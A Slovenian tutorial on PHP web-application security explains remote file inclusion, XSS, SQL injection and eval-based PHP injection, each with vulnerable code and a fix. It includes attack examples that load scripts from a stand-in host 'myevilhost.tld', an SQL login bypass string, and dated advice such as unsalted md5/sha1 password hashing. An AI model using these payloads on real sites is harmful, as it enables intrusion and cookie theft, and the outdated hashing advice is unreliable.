Varnost in PHP

1. Kazalo

1. Kazalo
2. Uvod
3. Zakaj ravno spletne strani?
4. Tipi napadov in zaščita pred njimi
4.1. RFI (Remote File Inclusion)
4.2. XSS (Cross Site Scripting)
4.3. Code injection
4.3.1. SQL injection
4.3.2. PHP injection
5. Zaključek
6. Dodatno branje


2. Uvod

Defaced pageDanes v času, ko ima že skoraj vsak uporabnik interneta svojo spletno stran ali blog[1] je veliko spletnih strani tarča napadom. Ti napadi so posledica lenih administratorjev in neveščih programerjev spletnih strani.

Zaradi tega se dogaja, da je skriptni jezik PHP[2] malce na slabim glasu zaradi programerjev, ki vdiralcem puščajo vrata v strežnik na strežaj odprta, kar se potem nekega dne maščuje z vdorom.

3. Zakaj ravno spletne strani?

Preprosto, ker ni težko. Razlog leži v tem, da je se jeziki za programiranje spletnih strani interpretirajo, kar pomeni da lahko vdiralec vrine kodo, ki jo strežnik nato izvede, za razliko od programov, kateri se prevajajo v strojno kodo in za crack-anje le teh mora vdiralec zelo dobro znati zbirnik ali pa imeti na voljo izvorno kodo programa.

4. Tipi napadov in zaščita pred njimi

Poznamo več vrst napadov na spletne strani, ki se razlikujejo glede na izvedbo in nevarnost napada. Opisal bom samo par najpogostejših, obstaja jih še seveda veliko več.

4.1. RFI (Remote File Inclusion)

Oddaljeno vrivanje izvajanja datotek[3] je eden najbolj nevarnih načinov vdora, pri njem vdiralec spremeni izvajanje skripte tako, da se zraven izvede datoteka s kodo, ki si jo je v naprej pripravil na svoje[4] spletno gostovanje.

Napad je možen, če programer ne filtrira uporabnikovega input-a pri include-anju[5] datotek. Primer kode:

<?php
include($_GET['stran']);
?>

Pri zgornjem primeru želi programer generirati strani glede na parameter v naslovu strani (npr. http://example.tld/index.php?stran=vsebina.php),C99 shellkoda je sintaktično pravilna in dela točno tisto, kar mora, spremenljivka $_GET[’stran’] prevzame vrednost “vsebina.php” in strežnik include-a in izvede datoteko vsebina.php, ki je v isti mapi kot datoteka index.php.

Ampak vdiralec, ki bo malce raziskal stran bo ugotovil, da je stran ranljiva in bo poskušal include-ati svojo (zlobno) kodo, tako da napiše pot do datoteke, ki jo je vnaprej pripravil na nekem gostovanju (npr. http://example.tld/index.php?stran=http://myevilhost.tld/evilscript.php), zaradi česar bo spremenljivka $_GET[’stran’] dobila vrednost “http://myevilhost.tld/evilscript.php” in strežnik bo izvedel skripto, ki jo je podal vdiralec, najverjetneje bo to kakšna ukazna lupina (glej sliko malce višje na desni).

Da se zaščitimo pred takšnim napadom moramo preveriti uporabnikov input, tako da predvidimo vse vnose, ki jih lahko uporabnik uporabi in če je vpisal veljaven vnos se mu prikaže zahtevano, drugače pa neka privzeta stran. Primer filtriranja uporabnikovega input-a:

<?php
switch(@$_GET['stran']) {
    case 
"vsebina":
        include(
'vsebina.php');
        break;
    default:
        include(
'novice.php');
        break;
}
?>

Prav tako je pametno v datoteki php.ini nastaviti nastavitev register_globals na Off, saj v nasprotnem primeru PHP nastavi spremenljivke, ki so podane kot parametri v naslovu skripte, v navadne spremenljivke z imenom parametra torej v našem primeru bi potem lahko poleg $_GET[’stran’] lahko uporabili tudi spremenljivko $stran.

4.2. XSS (Cross Site Scripting)

Skriptiranje preko strani[6] je napad, ki zahteva znanje JavaScript-a[7] pri njem gre zato, da vdiralec v kodo strani vrine JavaScript kodo, ki mu pošlje piškotek za prijavo, spremeni vsebino strani, ipd. Izhajamo iz preproste kode:

<?php
echo '<span id="novica">Novica: ' $_GET['id'] . '</span>' $row['vsebina_novice'];
?>

Na primer, da imamo neko skripto za prikazovanje novic, programer pričakuje, da bo uporabnik kot parameter vpisal številsko vrednost (npr. http://example.tld/index.php?id=3244) in ker spremenljivka $_GET[‘id’] dobi vrednost “3244″ se na strani prikaže zaporedna številka novice ter vsebina novice pod to zaporedno številko.

V tem primeru lahko vdiralec izvede XSS napad tako, da nekam podtakne tole povezavo: http://example.tld/index.php?id=<script src=http://myevilhost.tld/myevilscript.js></script>, tako se izvede JavaScript koda iz njegovega strežnika in vsi, ki bodo obiskali to povezavo (in imajo vključen JavaScript) bodo videli spremenjeno novico oz. kar bo pač vdiralec napisal v svojo JavaScript datoteko, vdiralec ponavadi povezavo še zakodira[8] tako da ne zgleda sumljivo.

XSS napad preprečimo zopet tako, da filtriramo uporabnikov input, tokrat lahko filtriramo z funkcijo intval(), ker pričakujemo, da bo uporabnik vnašal število:

<?php
echo '<span id="novica">Novica: ' intval($_GET['id']) . '</span>' .  $row['vsebina_novice'];
?>

Funkcija intval() bo v primeru, da nima podane številske vrednosti vrnila število “0″, drugače pa bo vrnila podano številko. Za filtriranje besedila pa ponavadi uporabimo funkcijo htmlspecialchars(), ki spremeni znake kot so “<”, “>” ipd. v njihove ustrezne HTML[9] kode in tako postanejo nenevarni.

4.3. Code injection

Vrivanje kode je tudi lahko zelo nevarno, saj lahko vdiralec vrine kodo, ki naredi karkoli si zaželi. Obstaja več tipov vrivanja kode glede na kodo, ki jo vrivamo, v naslednjih vrsticah bom opisal dva.

4.3.1. SQL injection

Eno izmed bolj znanih vrivanj kode je vrivanje/dopolnjevanje SQL[10] query-jev. Z njimi lahko vdiralec pridobi administratorske pravice brez administratorskega gesla, ukrade gesla uporabnikov itn. Za primer vzemimo kodo za preverjanje uporabniškega imena ter gesla:

<?php
$nick 
$_POST['nick'];
$pass $_POST['pass'];
$sql "SELECT * FROM
    users
WHERE
    up='" 
$nick "'
AND
    pass='" 
$pass "'";

$result mysql_query($sql);

if(
$result) {
    echo 
'Uspesna prijava!';
} else {
    echo 
'Neuspesna prijava!';
}
?>

Koda deluje po pričakovanjih, ampak obstaja univerzalno geslo (kar programer verjetno ni hotel). Torej, če vdiralec vpiše geslo OR = bo SQL strežnik izvedel tale query:

SELECT * FROM users WHERE up='uporabnik' AND pass='' OR ''=''

In ker se ta query uspešno izvede se lahko vdiralec s tem univerzalnim geslom prijavi. To preprečimo tako, da ustrezno escape-amo uporabnikov input z funkcijo mysql_real_escape_string(), če uporabljamo podatkovno bazo MySQL[11] druge podatkovne baze pa imajo druge funkcije za escape-anje. Še primer pravilnega preverjanja gesla:

<?php
$nick 
mysql_real_escape_string($_POST['nick']);
$sql "SELECT * FROM
    users
WHERE
    up='" 
$nick "'
LIMIT 1"
;

$result mysql_query($sql);

$row mysql_fetch_assoc($result);

if(
$row['pass'] == $_POST['pass']) {
    echo 
'Uspesna prijava!';
} else {
    echo 
'Neuspesna prijava!';
}
?>

Seveda velja opozoriti, da je pametno gesla v bazi kodirati z kakšnim ne reverzibilnim algoritmom (npr. md5[12] ali sha1[13] ali pa z kakšno kombinacijo obeh), ki vdiralcu, tudi če ukrade bazo z uporabniškimi imeni oteži delo, saj mora gesla crack-ati, kar lahko traja zelo dolgo.

4.3.1. PHP injection

Pri vrivanju PHP kode lahko vdiralec vrine kodo skozi funkcijo eval() ali preg_replace() v kolikor je programer uporabljal modifier “e”:

<?php
eval($_GET['code']);
?>

PHP injection
Na ta način lahko vrine vrstico za include-anje ter opravi RFI opisan zgoraj, da preprečimo ta tip napada, ne uporabljamo funkcije eval(), kjer res ni potrebno, namesto funkcije preg_replace(), ki uporablja modifier “e” pa raje uporabimo funkcijo preg_replace_callback(), ki nudi isto funkcionalnost z manj tveganja.

5. Zaključek

Obstaja veliko načinov, kako zlorabiti strežnik in se dokopati do popolnega nadzora, največkrat je za ranljivost spletnega sistema krivo neznanje ter lenoba programerjev, saj se jim ne da napisati vrstico ali dve več, kar bi jim prihranilo tudi do več mesecev dela pri popravljanju škode, ki jo je povzročil vdiralec v eni noči. Obstajajo tudi primeri, kjer je podjetje (spletna trgovina) zaradi vdora v njihov strežnik propadla, ker je vdiralec izbrisal pomembne podatke. Zato bi moral programer imeti zmeraj v misli, da uporabniku ne sme nikoli zaupati.

Vsa vprašanja, komentarje itd. napišite tukajle.

6. Dodatno branje

Linknotes:
  1. weblog - internetni dnevnik
  2. PHP: Hypertext Preprocessor - skriptni jezik za generiranje dinamičnih spletnih strani
  3. Nekakšen slovenski prevod izraza RFI
  4. Verjetno ukradeno
  5. include - Vključevanje kode iz druge datoteke
  6. Nekakšen slovenski prevod izraza XSS
  7. JavaScript - Client-side skriptni jezik, ki omogoča večjo dinamičnost spletnih strani
  8. Urlencode - algoritem za kodiranje URL povezav
  9. HTML - HyperText Markup Language
  10. SQL - Structured Query Language
  11. MySQL - Popularna podatkovna baza, ki jo razvija Švedsko podjetje MySQL AB
  12. MD5 - Message-Digest algorithm 5
  13. SHA - Secure Hash Algorithm